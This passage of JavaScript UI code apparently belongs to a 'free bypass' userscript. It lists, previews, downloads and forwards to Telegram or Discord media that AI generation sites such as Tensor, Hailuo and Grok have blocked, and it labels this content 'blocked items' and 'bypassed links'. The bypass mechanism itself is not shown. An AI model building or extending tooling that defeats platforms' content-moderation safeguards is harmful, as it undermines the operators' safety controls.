const openBtn = document.createElement('button');
openBtn.className = 'bypass-btn bypass-btn-secondary';
openBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
openBtn.innerHTML = '<i class="fas fa-up-right-from-square"></i> Open';
openBtn.onclick = () => window.open(entry.url, '_blank');
const copyBtn = document.createElement('button');
copyBtn.className = 'bypass-btn bypass-btn-primary';
copyBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
copyBtn.innerHTML = '<i class="fas fa-copy"></i> Copy';
copyBtn.onclick = async () => {
if (navigator.clipboard?.writeText) await navigator.clipboard.writeText(entry.url);
showToast('Copied media URL', 'success');
};
buttons.appendChild(openBtn);
buttons.appendChild(copyBtn);
if (settings.telegramEnabled && settings.telegramToken && settings.telegramChatId) {
const tgBtn = document.createElement('button');
tgBtn.className = 'bypass-btn bypass-btn-primary';
tgBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
tgBtn.innerHTML = '<i class="fab fa-telegram"></i> Telegram';
tgBtn.onclick = async () => {
try {
addHailuoUiLog('info', 'Sending media to Telegram', { id: entry.id || null });
const result = await sendToTelegram(entry.url, isVideo ? 'video/mp4' : 'image/png', entry.id || null, entry.updatedAt || Date.now(), '', entry.id || null, {
platform: 'hailuo',
source: 'floating-items'
});
if (result?.ok) {
addHailuoUiLog('success', 'Sent media to Telegram', { id: entry.id || null, mode: result.mode || 'unknown' });
showToast('Sent to Telegram', 'success');
} else {
addHailuoUiLog('error', 'Failed sending media to Telegram', { id: entry.id || null, error: result?.error || 'unknown error' });
showToast(result?.error || 'Telegram send failed', 'error');
}
} catch (err) {
addHailuoUiLog('error', 'Telegram send exception', { id: entry.id || null, error: String(err?.message || err) });
showToast('Telegram send failed', 'error');
}
};
buttons.appendChild(tgBtn);
}
if (settings.discordEnabled && settings.discordWebhook) {
const dcBtn = document.createElement('button');
dcBtn.className = 'bypass-btn bypass-btn-secondary';
dcBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
dcBtn.innerHTML = '<i class="fab fa-discord"></i> Discord';
dcBtn.onclick = async () => {
try {
addHailuoUiLog('info', 'Sending media to Discord', { id: entry.id || null });
const result = await sendToDiscord(entry.url, isVideo ? 'video/mp4' : 'image/png', entry.id || null, entry.updatedAt || Date.now(), '', entry.id || null, {
platform: 'hailuo',
source: 'floating-items'
});
if (result?.ok) {
addHailuoUiLog('success', 'Sent media to Discord', { id: entry.id || null, mode: result.mode || 'unknown' });
showToast('Sent to Discord', 'success');
} else {
addHailuoUiLog('error', 'Failed sending media to Discord', { id: entry.id || null, error: result?.error || 'unknown error' });
showToast(result?.error || 'Discord send failed', 'error');
}
} catch (err) {
addHailuoUiLog('error', 'Discord send exception', { id: entry.id || null, error: String(err?.message || err) });
showToast('Discord send failed', 'error');
}
};
buttons.appendChild(dcBtn);
}
card.appendChild(buttons);
list.appendChild(card);
});
content.appendChild(list);
}
content.setAttribute('data-bypass-tab', 'home');
} else if (IS_GROK_DOMAIN) {
const entries = getGrokMediaEntries();
const header = document.createElement('div');
header.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; padding:10px 12px; border:1px solid rgba(148,163,184,0.25); border-radius:12px; background:rgba(15,23,42,0.35);';
header.innerHTML = `<div style="font-size:12px;color:#cbd5e1;"><i class="fas fa-database" style="margin-right:6px;color:#6366f1;"></i><strong>${entries.length}</strong> cached Grok media link(s)</div>`;
const actions = document.createElement('div');
actions.style.cssText = 'display:flex; gap:8px;';
const refreshBtn = document.createElement('button');
refreshBtn.className = 'bypass-btn bypass-btn-secondary';
refreshBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
refreshBtn.innerHTML = '<i class="fas fa-arrows-rotate"></i> Refresh';
refreshBtn.onclick = () => updateUI();
const clearBtn = document.createElement('button');
clearBtn.className = 'bypass-btn bypass-btn-danger';
clearBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
clearBtn.innerHTML = '<i class="fas fa-trash"></i> Clear';
clearBtn.onclick = () => {
showConfirmDialog('Clear Grok cached media links?', () => {
saveGrokMediaCache({});
updateUI();
});
};
actions.appendChild(refreshBtn);
actions.appendChild(clearBtn);
header.appendChild(actions);
content.appendChild(header);
if (!entries.length) {
const empty = document.createElement('div');
empty.className = 'bypass-empty-state';
empty.innerHTML = '<div class="bypass-empty-icon"><i class="fas fa-hourglass-half"></i></div><div class="bypass-empty-text">No Grok media cached yet. Browse generated content and links will appear here.</div>';
content.appendChild(empty);
} else {
const list = document.createElement('div');
list.style.cssText = 'display:grid; grid-template-columns: repeat(auto-fill,minmax(260px,1fr)); gap:10px; margin-top:10px;';
const status = document.createElement('div');
status.style.cssText = 'font-size:11px; color:#94a3b8; text-align:center; padding:8px 0; grid-column:1 / -1;';
const PAGE_SIZE = 50;
let rendered = 0;
let loadingMore = false;
const appendNextBatch = () => {
if (loadingMore) return;
loadingMore = true;
const next = entries.slice(rendered, rendered + PAGE_SIZE);
next.forEach((entry) => {
const card = document.createElement('div');
card.style.cssText = 'border:1px solid rgba(148,163,184,0.25); border-radius:12px; background:rgba(15,23,42,0.4); padding:10px; display:flex; flex-direction:column; gap:8px;';
const isVideo = String(entry.mediaType || '').toLowerCase() === 'video';
const preview = isVideo
? `<video src="${escapeHtml(entry.url)}" controls muted playsinline style="width:100%;max-height:180px;border-radius:8px;background:#0f172a;object-fit:contain;"></video>`
: `<img src="${escapeHtml(entry.url)}" style="width:100%;max-height:180px;border-radius:8px;background:#0f172a;object-fit:contain;" />`;
card.innerHTML = `
${preview}
<div style="font-size:12px;color:#e2e8f0;font-weight:700;">${isVideo ? '<i class="fas fa-video"></i> Video' : '<i class="fas fa-image"></i> Image'} • ${escapeHtml(String(entry.id || 'N/A'))}</div>
<div style="font-size:11px;color:#94a3b8;">Source: ${escapeHtml(String(entry.source || 'grok'))}</div>
<div style="font-size:11px;color:#94a3b8;">Updated: ${escapeHtml(new Date(Number(entry.updatedAt || Date.now())).toLocaleString())}</div>
<div style="font-family:'Courier New',monospace;font-size:11px;word-break:break-all;background:rgba(15,23,42,0.45);padding:6px;border-radius:6px;"><a href="${escapeHtml(entry.url)}" target="_blank" rel="noopener noreferrer" style="color:#93c5fd;">${escapeHtml(entry.url)}</a></div>
`;
const buttons = document.createElement('div');
buttons.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap;';
const openBtn = document.createElement('button');
openBtn.className = 'bypass-btn bypass-btn-secondary';
openBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
openBtn.innerHTML = '<i class="fas fa-up-right-from-square"></i> Open';
openBtn.onclick = () => window.open(entry.url, '_blank');
const copyBtn = document.createElement('button');
copyBtn.className = 'bypass-btn bypass-btn-primary';
copyBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
copyBtn.innerHTML = '<i class="fas fa-copy"></i> Copy';
copyBtn.onclick = async () => {
if (navigator.clipboard?.writeText) await navigator.clipboard.writeText(entry.url);
showToast('Copied media URL', 'success');
};
buttons.appendChild(openBtn);
buttons.appendChild(copyBtn);
card.appendChild(buttons);
list.appendChild(card);
});
rendered += next.length;
status.textContent = rendered < entries.length
? `Loaded ${rendered}/${entries.length}. Scroll to load more...`
: `Loaded all ${entries.length} Grok item(s).`;
loadingMore = false;
};
const onScrollLoadMore = () => {
if (rendered >= entries.length || loadingMore) return;
const threshold = 220;
const nearBottom = content.scrollTop + content.clientHeight >= content.scrollHeight - threshold;
if (nearBottom) appendNextBatch();
};
appendNextBatch();
list.appendChild(status);
content.addEventListener('scroll', onScrollLoadMore, { passive: true });
content.appendChild(list);
}
content.setAttribute('data-bypass-tab', 'home');
} else {
// In multi-account mode, Items should render from cached account tasks (active tokens).
// This ensures tasks/items appear even if `itemsData` hasn't been populated in this session.
const allViewItems = viewItemsForKey;
if (usedCachedHome) {
// use cached content
} else if (allViewItems.length === 0) {
if (!emptyStateStart) emptyStateStart = Date.now();
const elapsed = Date.now() - emptyStateStart;
const showTip = elapsed >= 5000;
const showCache = elapsed >= 15000;
const emptyState = document.createElement('div');
emptyState.className = 'bypass-empty-state';
emptyState.innerHTML = `
<div class="bypass-empty-icon"><i class="fas fa-spinner fa-spin"></i></div>
<div class="bypass-empty-text">Loading… Waiting for blocked items</div>
<div style="width: 100%; display: grid; gap: 12px;">
<div class="bypass-loading-state" style="height: 80px; border-radius: 10px;"></div>
<div class="bypass-loading-state" style="height: 80px; border-radius: 10px;"></div>
<div class="bypass-loading-state" style="height: 80px; border-radius: 10px;"></div>
</div>
`;
if (showTip) {
const tip = document.createElement('div');
tip.style.cssText = 'font-size: 12px; color: #cbd5e1; line-height: 1.6; max-width: 320px;';
tip.innerHTML = `
<strong>Tip:</strong> If it keeps waiting, go to Tensor creation page: click the <strong>Create</strong> button in the site header, then click the <strong>Reload</strong> icon on the creation page. This triggers the tool to detect blocked items.
`;
emptyState.appendChild(tip);
}
if (showCache) {
const cacheBtn = document.createElement('button');
cacheBtn.className = 'bypass-btn bypass-btn-secondary';
cacheBtn.style.maxWidth = '220px';
cacheBtn.textContent = 'Load from Cache';
const canUseCache = settings.cachingEnabled && downloadUrlCache.size > 0;
cacheBtn.disabled = !canUseCache;
cacheBtn.onclick = () => {
const loaded = loadItemsFromCache();
if (loaded) {
emptyStateStart = null;
updateUI();
}
};
emptyState.appendChild(cacheBtn);
}
content.appendChild(emptyState);
} else {
emptyStateStart = null;
forcePreviewLoaders.clear();
const taskProfilesForFilter = getTaskProfiles();
const nonEmptyProfileNames = Object.keys(taskProfilesForFilter).filter(name => (taskProfilesForFilter[name]?.tasks || []).length > 0);
const selectedProfile = nonEmptyProfileNames.includes(homeProfileFilter) ? homeProfileFilter : '';
if (selectedProfile !== homeProfileFilter) {
homeProfileFilter = selectedProfile;
localStorage.setItem('freeBypassHomeProfileFilter', homeProfileFilter);
}
const normalizeDateText = (value) => {
const ts = normalizeTimestamp(value);
return ts ? new Date(ts).toLocaleString() : '';
};
// When a profile is selected, get all items that belong to tasks in that profile
// Start with active accounts' items
let baseItems = allViewItems;
if (selectedProfile) {
const profileItems = getProfileFlattenedItems(selectedProfile);
const profileItemIds = new Set(profileItems.map(item => item.id || item.imageId));
baseItems = allViewItems.filter(item => profileItemIds.has(item.id));
}
const searchQuery = (homeItemsSearchQuery || '').trim().toLowerCase();
const displayedItems = searchQuery
? baseItems.filter(item => {
const haystack = [
item.id,
item.taskId,
item.type,
item.mimeType,
item.downloadFileName,
normalizeDateText(item.createdAt),
normalizeDateText(item.expiresAt || item.expireAt),
item.width && item.height ? `${item.width}x${item.height}` : ''
].join(' ').toLowerCase();
return haystack.includes(searchQuery);
})
: baseItems;
const existingIds = new Set(displayedItems.map(item => item.id));
selectedItems = new Set([...selectedItems].filter(id => existingIds.has(id)));
const selectionBar = document.createElement('div');
selectionBar.style.cssText = 'display:flex; flex-wrap:wrap; gap:10px; align-items:center; justify-content:space-between; padding: 10px 12px; border: 1px solid rgba(148,163,184,0.25); border-radius: 12px; background: rgba(15,23,42,0.4);';
const selectionInfo = document.createElement('div');
selectionInfo.setAttribute('data-bypass-selection-info', 'true');
selectionInfo.setAttribute('data-bypass-shown-count', String(displayedItems.length));
selectionInfo.setAttribute('data-bypass-total-count', String(allViewItems.length));
selectionInfo.style.cssText = 'font-size: 12px; color: #cbd5e1; font-weight: 600;';
selectionInfo.textContent = `Selected: ${selectedItems.size} / ${displayedItems.length} shown (${allViewItems.length} total)`;
const selectionControls = document.createElement('div');
selectionControls.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap; align-items:center;';
const makeMiniBtn = (label, onClick) => {
const btn = document.createElement('button');
btn.className = 'bypass-btn bypass-btn-secondary';
btn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
btn.textContent = label;
btn.onclick = onClick;
return btn;
};
selectionControls.appendChild(makeMiniBtn('Select All', () => { displayedItems.forEach(it => setItemSelected(it.id, true)); refreshSelectionUI(); }));
selectionControls.appendChild(makeMiniBtn('Unselect All', () => { selectedItems.clear(); refreshSelectionUI(); }));
selectionControls.appendChild(makeMiniBtn('Images', () => { displayedItems.forEach(it => setItemSelected(it.id, it.type !== 'Video' && !it.mimeType?.startsWith('video/'))); refreshSelectionUI(); }));
selectionControls.appendChild(makeMiniBtn('Videos', () => { displayedItems.forEach(it => setItemSelected(it.id, it.type === 'Video' || it.mimeType?.startsWith('video/'))); refreshSelectionUI(); }));
const bulkActions = document.createElement('div');
bulkActions.style.cssText = 'display:flex; gap:8px; align-items:center;';
const getSelectedList = () => displayedItems.filter(it => selectedItems.has(it.id));
const disabled = selectedItems.size === 0;
const actionBtn = (icon, title, onClick) => {
const btn = document.createElement('button');
btn.className = 'bypass-action-btn bypass-action-btn-primary';
btn.style.width = '38px';
btn.style.height = '38px';
btn.title = title;
btn.innerHTML = `<i class="${icon}"></i>`;
btn.disabled = disabled;
btn.setAttribute('data-bypass-bulk-action', 'true');
btn.onclick = onClick;
return btn;
};
if (settings.telegramEnabled && settings.telegramChatId) {
bulkActions.appendChild(actionBtn('fab fa-telegram', 'Send selected to Telegram', () => {
const list = getSelectedList();
const allowDuplicate = !settings.preventDuplicateTasks;
list.forEach(item => enqueueTaskAction('telegram', item.id, getItemMetaFromId(item.id), allowDuplicate));
processTaskActionQueue();
updateGlobalActionProgressFromQueue();
}));
}
if (settings.discordEnabled && settings.discordWebhook) {
bulkActions.appendChild(actionBtn('fab fa-discord', 'Send selected to Discord', () => {
const list = getSelectedList();
const allowDuplicate = !settings.preventDuplicateTasks;
list.forEach(item => enqueueTaskAction('discord', item.id, getItemMetaFromId(item.id), allowDuplicate));
processTaskActionQueue();
updateGlobalActionProgressFromQueue();
}));
}
if (settings.sharedNetworkEnabled) {
bulkActions.appendChild(actionBtn('fas fa-network-wired', 'Send selected to Shared Network', () => {
const list = getSelectedList();
if (!sharedNetIsConfigured()) {
showToast('Shared Network is disabled or not configured', 'warning');
return;
}
sharedNetSendItemsNow(list, 'bulk-selection-bar')
.then(() => showToast('Shared Network: sent', 'success'))
.catch(err => showToast(`Shared Network send failed: ${err.message}`, 'error'));
}));
}
bulkActions.appendChild(actionBtn('fas fa-images', 'Force load thumbnails for selected', async () => {
const list = getSelectedList();
for (const item of list) {
// Force load preview for this item
const loader = forcePreviewLoaders.get(item.id);
if (loader && typeof loader === 'function') {
try {
await loader(true);
} catch (e) {
console.error('Force load failed for', item.id, e);
}
}
}
// Don't call updateUI as it will rebuild everything - previews are already loaded
}));
bulkActions.appendChild(actionBtn('fas fa-link', 'Copy direct media links', async () => {
const list = getSelectedList();
const urls = [];
for (const item of list) {
const url = await getPreviewUrlForItem(item);
if (url) urls.push(url);
}
if (urls.length === 0) {
alert('No URLs available for selected items.');
return;
}
const payload = urls.join('\n');
if (navigator.clipboard?.writeText) {
await navigator.clipboard.writeText(payload);
} else {
const ta = document.createElement('textarea');
ta.value = payload;
document.body.appendChild(ta);
ta.select();
document.execCommand('copy');
ta.remove();
}
alert(`Copied ${urls.length} direct media links.`);
}));
bulkActions.appendChild(actionBtn('fas fa-download', 'Download selected', () => {
const list = getSelectedList();
const allowDuplicate = !settings.preventDuplicateTasks;
list.forEach(item => enqueueTaskAction('download', item.id, getItemMetaFromId(item.id), allowDuplicate));
processTaskActionQueue();
updateGlobalActionProgressFromQueue();
}));
selectionBar.appendChild(selectionInfo);
selectionBar.appendChild(selectionControls);
selectionBar.appendChild(bulkActions);
// Always add to DOM but hide when no items selected
content.appendChild(selectionBar);
selectionBar.style.display = selectedItems.size > 0 ? 'flex' : 'none';
const actionDiv = document.createElement('div');
actionDiv.className = 'bypass-action-buttons';
if (nonEmptyProfileNames.length > 0) {
const profileSelect = document.createElement('select');
const dialogColors = getThemeColors();
profileSelect.style.cssText = `padding:7px 9px; border-radius:8px; border:1px solid ${dialogColors.border}; background:${dialogColors.bg}; color:${dialogColors.text}; font-size:11px; min-width:140px;`;
const noneOpt = document.createElement('option');
noneOpt.value = '';
noneOpt.textContent = 'None (show all)';
profileSelect.appendChild(noneOpt);
nonEmptyProfileNames.forEach(name => {
const opt = document.createElement('option');
opt.value = name;
opt.textContent = `${name} (${(taskProfilesForFilter[name]?.tasks || []).length})`;
profileSelect.appendChild(opt);
});
profileSelect.value = homeProfileFilter;
profileSelect.onchange = () => {
homeProfileFilter = profileSelect.value;
localStorage.setItem('freeBypassHomeProfileFilter', homeProfileFilter);
tabContentCache.clear();
updateUI();
};
actionDiv.appendChild(profileSelect);
}
const itemSearchInput = document.createElement('input');
itemSearchInput.type = 'text';
itemSearchInput.placeholder = 'Search ID / task / date / MIME / filename...';
itemSearchInput.value = homeItemsSearchQuery || '';
const dialogColors = getThemeColors();
itemSearchInput.style.cssText = `min-width:200px; flex:1; padding:8px 10px; border-radius:8px; border:1px solid ${dialogColors.border}; background:${dialogColors.bg}; color:${dialogColors.text}; font-size:11px;`;
// Debounce to prevent constant refreshes while typing
let searchDebounceTimer = null;
itemSearchInput.oninput = () => {
homeItemsSearchQuery = itemSearchInput.value || '';
localStorage.setItem('freeBypassHomeSearchQuery', homeItemsSearchQuery);
tabContentCache.clear();
// Clear existing timer
if (searchDebounceTimer) clearTimeout(searchDebounceTimer);
// Only update UI after 300ms of no typing
searchDebounceTimer = setTimeout(() => {
updateUI();
}, 300);
};
actionDiv.appendChild(itemSearchInput);
const downloadAllBtn = document.createElement('button');
downloadAllBtn.className = 'bypass-action-btn bypass-action-btn-primary';
downloadAllBtn.title = `Download All ${displayedItems.length} Shown Items`;
downloadAllBtn.innerHTML = `<i class="fas fa-download"></i>`;
downloadAllBtn.style.cssText = 'width: 36px; height: 36px; padding: 0;';
downloadAllBtn.onclick = async () => {
showConfirmDialog(`Download ${displayedItems.length} shown items?`, async () => {
for (const item of displayedItems) {
try {
await downloadMediaById(item.id, item.mimeType);
} catch (err) {
alert(`Error downloading ${item.id}: ${err.message}`);
}
}
});
};
const viewModeBtn = document.createElement('button');
viewModeBtn.className = 'bypass-action-btn bypass-action-btn-secondary';
viewModeBtn.title = settings.viewMode === 'cards' ? 'Switch to Gallery View' : 'Switch to Cards View';
viewModeBtn.innerHTML = settings.viewMode === 'cards' ? '<i class="fas fa-th"></i>' : '<i class="fas fa-th-large"></i>';
viewModeBtn.style.cssText = 'width: 36px; height: 36px; padding: 0;';
viewModeBtn.onclick = () => {
settings.viewMode = settings.viewMode === 'cards' ? 'gallery' : 'cards';
saveSettings();
updateUI();
};
// Column layout dropdown for cards view
let cartColumnsSelect = null;
if (settings.viewMode === 'cards') {
const dialogColors = getThemeColors();
cartColumnsSelect = document.createElement('select');
cartColumnsSelect.style.cssText = `padding:7px 9px; border-radius:8px; border:1px solid ${dialogColors.border}; background:${dialogColors.bg}; color:${dialogColors.text}; font-size:11px; min-width:90px;`;
[2, 3, 4, 5, 6].forEach(cols => {
const opt = document.createElement('option');
opt.value = cols;
opt.textContent = `${cols} Columns`;
if (settings.cartColumns === cols) opt.selected = true;
cartColumnsSelect.appendChild(opt);
});
cartColumnsSelect.onchange = () => {
settings.cartColumns = parseInt(cartColumnsSelect.value);
saveSettings();
tabContentCache.clear();
updateUI();
};
actionDiv.appendChild(cartColumnsSelect);
}
const refreshBtn = document.createElement('button');
refreshBtn.className = 'bypass-action-btn bypass-action-btn-secondary';
refreshBtn.title = 'Refresh Items List';
refreshBtn.innerHTML = `<i class="fas fa-sync-alt"></i>`;
refreshBtn.style.cssText = 'width: 36px; height: 36px; padding: 0;';
refreshBtn.onclick = async () => {
refreshBtn.disabled = true;
refreshBtn.innerHTML = `<i class="fas fa-spinner fa-spin"></i>`;
await new Promise(r => setTimeout(r, 1500));
refreshBtn.innerHTML = `<i class="fas fa-sync-alt"></i>`;
refreshBtn.disabled = false;
};
const clearBtn = document.createElement('button');
clearBtn.className = 'bypass-action-btn bypass-action-btn-danger';
clearBtn.title = 'Clear All Items';
clearBtn.innerHTML = `<i class="fas fa-trash-alt"></i>`;
clearBtn.style.cssText = 'width: 36px; height: 36px; padding: 0;';
clearBtn.onclick = () => {
showConfirmDialog('Clear all items? This cannot be undone.', () => {
itemsData = [];
blockedItems = new Set();
selectedItems.clear();
updateUI();
});
};
let copyMenuWrap = null;
if (settings.enableCopyBypassedLinks) {
copyMenuWrap = document.createElement('div');
copyMenuWrap.style.cssText = 'position: relative;';
const copyBtn = document.createElement('button');
copyBtn.className = 'bypass-action-btn bypass-action-btn-secondary';
copyBtn.title = 'Copy bypassed links';
copyBtn.innerHTML = `<i class="fas fa-copy"></i>`;
copyBtn.style.cssText = 'width: 36px; height: 36px; padding: 0;';
const menu = document.createElement('div');
menu.style.cssText = 'display:none;position:absolute;top:46px;right:0;z-index:100000;background:#0f172a;border:1px solid #475569;border-radius:8px;min-width:170px;padding:6px;';
const mk = (label, format) => {
const b = document.createElement('button');
b.className = 'bypass-btn bypass-btn-secondary';
b.style.cssText = 'width:100%;justify-content:flex-start;padding:8px 10px;font-size:11px;';
b.textContent = label;
b.onclick = async (e) => {
e.stopPropagation();
menu.style.display = 'none';
await copyBypassedLinks(format);
};
menu.appendChild(b);
};
mk('Copy as Text', 'text');
mk('Copy as JSON', 'json');
mk('Copy as XML', 'xml');
mk('Copy as HTML', 'html');
copyBtn.onclick = (e) => {
e.stopPropagation();
menu.style.display = menu.style.display === 'none' ? 'block' : 'none';
};
document.addEventListener('click', () => {
menu.style.display = 'none';
});
copyMenuWrap.appendChild(copyBtn);
copyMenuWrap.appendChild(menu);
}
// Modern compact layout: filters left, view center, actions right
actionDiv.style.cssText = 'display:flex; align-items:center; gap:8px; flex-wrap:wrap;';
// Left group: filters (already appended above)
// View controls group
actionDiv.appendChild(viewModeBtn);
if (cartColumnsSelect) actionDiv.appendChild(cartColumnsSelect);
// Right actions group
actionDiv.appendChild(downloadAllBtn);
actionDiv.appendChild(refreshBtn);
if (copyMenuWrap) actionDiv.appendChild(copyMenuWrap);
actionDiv.appendChild(clearBtn);
content.appendChild(actionDiv);
// Show token usage (active accounts + last token actually used)
content.appendChild(createTokenUsageBanner(displayedItems.length));
const stats = getTaskActionStats();
if (stats.total && (stats.queued + stats.inProgress)) {
const progressWrap = document.createElement('div');
progressWrap.style.cssText = 'padding: 8px 10px; border: 1px solid rgba(148,163,184,0.25); border-radius: 10px; background: rgba(15,23,42,0.35);';
progressWrap.setAttribute('data-bypass-home-progress', 'true');
const progressText = document.createElement('div');
progressText.setAttribute('data-bypass-home-progress-text', 'true');
progressText.style.cssText = 'font-size: 11px; color: #94a3b8; margin-bottom: 6px;';
const completed = stats.done + stats.failed;
if (stats.current) {
progressText.textContent = `Processing ${stats.current.action.toUpperCase()} • ${stats.current.imageId} (${completed}/${stats.total})`;
} else {
progressText.textContent = `Queued ${stats.queued} • Done ${stats.done} • Failed ${stats.failed}`;
}
const progressBar = document.createElement('div');
progressBar.style.cssText = 'height: 6px; background: rgba(148,163,184,0.25); border-radius: 999px; overflow: hidden;';
const progressFill = document.createElement('div');
progressFill.setAttribute('data-bypass-home-progress-bar', 'true');
progressFill.style.cssText = `height: 100%; width: ${stats.total ? Math.round((completed / stats.total) * 100) : 0}%; background: linear-gradient(135deg, #6366f1, #8b5cf6);`;
progressBar.appendChild(progressFill);
progressWrap.appendChild(progressText);
progressWrap.appendChild(progressBar);
const previewHost = document.createElement('div');
previewHost.setAttribute('data-bypass-home-progress-preview', 'true');
progressWrap.appendChild(previewHost);
if (settings.showDownloadPreview && stats.current && ['download', 'telegram', 'discord'].includes(stats.current.action)) {
const previewRow = document.createElement('div');
previewRow.className = 'bypass-download-preview';
previewRow.style.marginTop = '10px';
const mediaWrap = document.createElement('div');
mediaWrap.className = 'bypass-download-preview-media';
mediaWrap.textContent = 'Loading...';
const info = document.createElement('div');
info.style.cssText = 'display:flex; flex-direction:column; gap:4px; font-size:11px; color:#94a3b8;';
const actionLabel = stats.current.action === 'telegram'
? 'Sending to Telegram'
: stats.current.action === 'discord'
? 'Sending to Discord'
: 'Downloading';
info.innerHTML = `<div><strong style="color:#cbd5e1;">${actionLabel}</strong></div><div>ID: ${stats.current.imageId}</div>`;
previewRow.appendChild(mediaWrap);
previewRow.appendChild(info);
previewHost.appendChild(previewRow);
const currentId = stats.current.imageId;
if (downloadPreviewCache.imageId === currentId && downloadPreviewCache.url) {
mediaWrap.innerHTML = '';
if (stats.current.mimeType?.startsWith('video/')) {
const vid = document.createElement('video');
vid.src = downloadPreviewCache.url;
vid.muted = true;
vid.autoplay = true;
vid.loop = true;
vid.playsInline = true;
mediaWrap.appendChild(vid);
} else {
const img = document.createElement('img');
img.src = downloadPreviewCache.url;
mediaWrap.appendChild(img);
}
} else {
downloadPreviewCache = { imageId: currentId, url: null, mimeType: stats.current.mimeType || '' };
ensureDownloadUrl(currentId, stats.current.mimeType || '').then(url => {
if (downloadPreviewCache.imageId !== currentId) return;
downloadPreviewCache.url = url;
mediaWrap.innerHTML = '';
if (!url) {
mediaWrap.textContent = 'Preview unavailable';
return;
}
if (stats.current.mimeType?.startsWith('video/')) {
const vid = document.createElement('video');
vid.src = url;
vid.muted = true;
vid.autoplay = true;
vid.loop = true;
vid.playsInline = true;
mediaWrap.appendChild(vid);
} else {
const img = document.createElement('img');
img.src = url;
mediaWrap.appendChild(img);
}
});
}
}
content.appendChild(progressWrap);
}
// Items list or gallery (lazy rendering to avoid heavy request bursts)
const INITIAL_BATCH = 25;
const BATCH_SIZE = 25;
let renderedCount = 0;
let loadingChunk = false;
const listHost = document.createElement('div');
// Multi-column layout for cards, flex column for gallery
if (settings.viewMode === 'cards') {
const cols = settings.cartColumns || 2;
listHost.style.cssText = `display: grid; grid-template-columns: repeat(${cols}, minmax(0, 1fr)); gap: 12px; width: 100%; align-items: start;`;
} else {
listHost.style.cssText = 'display:flex; flex-direction:column; gap:12px; width:100%;';
}
content.appendChild(listHost);
const loadInfo = document.createElement('div');
loadInfo.style.cssText = `font-size:11px;color:#94a3b8;text-align:center;padding:8px 0;${settings.viewMode === 'cards' ? 'grid-column: 1 / -1;' : ''}`;
listHost.appendChild(loadInfo);
const previewBatchController = {
loaders: new Map(),
queue: [],
completed: new Set(),
inFlight: new Set(),
batchSize: 25,
batchIndex: 0,
waitingForScroll: false,
reset() {
this.loaders.clear();
this.queue = [];
this.completed.clear();
this.inFlight.clear();
this.batchIndex = 0;
this.waitingForScroll = false;
},
register(itemId, loader) {
if (!itemId || typeof loader !== 'function') return;
if (!this.loaders.has(itemId)) {
this.queue.push(itemId);
}
this.loaders.set(itemId, loader);
},
markDone(itemId) {
this.inFlight.delete(itemId);
this.completed.add(itemId);
this.updateBatchState();
},
updateBatchState() {
const start = this.batchIndex * this.batchSize;
const ids = this.queue.slice(start, start + this.batchSize);
if (!ids.length) return;
const done = ids.every(id => this.completed.has(id));
if (done && !this.waitingForScroll) {
this.waitingForScroll = true;
}
},
pump() {
if (!settings.preview) return;
const start = this.batchIndex * this.batchSize;
const ids = this.queue.slice(start, start + this.batchSize);
if (!ids.length) return;
ids.forEach(id => {
if (this.completed.has(id) || this.inFlight.has(id)) return;
const loader = this.loaders.get(id);
if (!loader) return;
this.inFlight.add(id);
Promise.resolve(loader(false)).catch(() => null).finally(() => this.markDone(id));
});
this.updateBatchState();
},
advance() {
if (!this.waitingForScroll) return;
this.waitingForScroll = false;
this.batchIndex += 1;
this.pump();
}
};
let gridHost = null;
if (settings.viewMode === 'gallery') {
gridHost = document.createElement('div');
gridHost.style.cssText = 'display: grid; grid-template-columns: repeat(auto-fill, minmax(150px, 1fr)); gap: 12px; width: 100%;';
listHost.appendChild(gridHost);
// Reset batch controller for fresh gallery load
previewBatchController.reset();
}
const appendGalleryItem = (item) => {
const galleryItem = document.createElement('div');
galleryItem.className = 'bypass-gallery-item';
galleryItem.style.cursor = 'pointer';
galleryItem.setAttribute('data-bypass-item-id', item.id);
if (selectedItems.has(item.id)) {
galleryItem.classList.add('selected');
}
const isVideo = item.type === 'Video' || item.mimeType?.startsWith('video/');
const placeholder = () => {
const ph = document.createElement('div');
ph.style.cssText = 'width: 100%; height: 150px; background: #334155; display: flex; align-items: center; justify-content: center; color: #cbd5e1;';
ph.innerHTML = isVideo ? '<i class="fas fa-video"></i>' : '<i class="fas fa-image"></i>';
return ph;
};
const ph = placeholder();
galleryItem.appendChild(ph);
const loadImagePreview = async () => {
const url = await getPreviewUrlForItem(item);
if (!url || !ph.isConnected) return;
const img = document.createElement('img');
img.src = url;
img.style.cssText = 'width: 100%; height: 150px; object-fit: cover;';
img.onerror = () => {
if (img.parentElement) {
img.parentElement.replaceChild(placeholder(), img);
}
};
ph.replaceWith(img);
};
const loadVideoPreview = async () => {
const url = await getPreviewUrlForItem(item);
if (!url || !ph.isConnected) return;
const video = document.createElement('video');
video.src = url;
video.muted = true;
video.playsInline = true;
video.preload = 'metadata';
video.style.cssText = 'width: 100%; height: 150px; object-fit: cover;';
video.onloadedmetadata = () => {
try {
video.currentTime = 0.001;
} catch {
// no-op
}
};
video.onseeked = () => video.pause();
video.oncanplay = () => video.pause();
video.onerror = () => {
if (video.parentElement) {
video.parentElement.replaceChild(placeholder(), video);
}
};
video.load();
ph.replaceWith(video);
};
if (settings.preview) {
if (isVideo) {
registerForcePreviewLoader(item.id, loadVideoPreview);
previewBatchController.register(item.id, loadVideoPreview);
// Load immediately instead of showing "Queued"
loadVideoPreview().catch(() => {
if (ph.isConnected) ph.innerHTML = '<i class="fas fa-triangle-exclamation"></i>';
});
} else {
registerForcePreviewLoader(item.id, loadImagePreview);
loadImagePreview().catch(() => {
if (ph.isConnected) ph.innerHTML = '<i class="fas fa-triangle-exclamation"></i>';
});
}
}
if (isVideo) {
const play = document.createElement('div');
play.className = 'bypass-gallery-play';
play.innerHTML = '<i class="fas fa-play"></i>';
galleryItem.appendChild(play);
}
